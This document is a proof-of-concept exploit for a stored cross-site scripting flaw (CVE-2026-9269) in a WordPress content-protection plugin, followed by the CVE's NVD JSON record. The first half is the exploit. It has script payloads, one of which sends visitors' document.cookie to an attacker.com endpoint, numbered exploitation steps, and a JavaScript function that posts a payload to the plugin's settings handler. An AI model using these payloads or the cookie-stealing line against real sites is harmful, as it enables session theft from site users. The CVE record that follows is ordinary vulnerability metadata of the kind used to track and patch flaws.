CVE-2026-9269

// CVE-2026-9269 PoC - Stored XSS in Secure Copy Content Protection plugin // Target: WordPress with Secure Copy Content Protection plugin < 5.1.5 // Login as admin and navigate to plugin settings page // Inject the following payload in plugin settings fields (e.g., protection message, custom text): payload = '<script>alert(document.cookie)</script>' // or payload = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' // Steps to exploit: // 1. Authenticate as WordPress administrator // 2. Navigate to: /wp-admin/admin.php?page=scpp-settings // 3. Find input fields that lack proper sanitization // 4. Insert XSS payload in the field // 5. Save settings // 6. When any user visits protected content or settings page, XSS triggers // Example using WordPress REST API: const exploit = async (wpUrl, username, password) => { // Authenticate and get nonce const nonce = await getAdminNonce(wpUrl, username, password); // Send payload to plugin settings await fetch(`${wpUrl}/wp-admin/admin-ajax.php`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `action=scpp_save_settings&nonce=${nonce}&protection_message=<script>alert(document.domain)</script>` }); };

{"cve": {"id": "CVE-2026-9269", "sourceIdentifier": "[email protected]", "published": "2026-06-12T07:16:21.237", "lastModified": "2026-06-12T15:57:31.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Secure Copy Content Protection and Content Locking WordPress plugin before 5.1.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}]}, "references": [{"url": "https://wpscan.com/vulnerability/61a3f41d-f031-4dba-b5cf-4ca3bce71b1b/", "source": "[email protected]"}]}}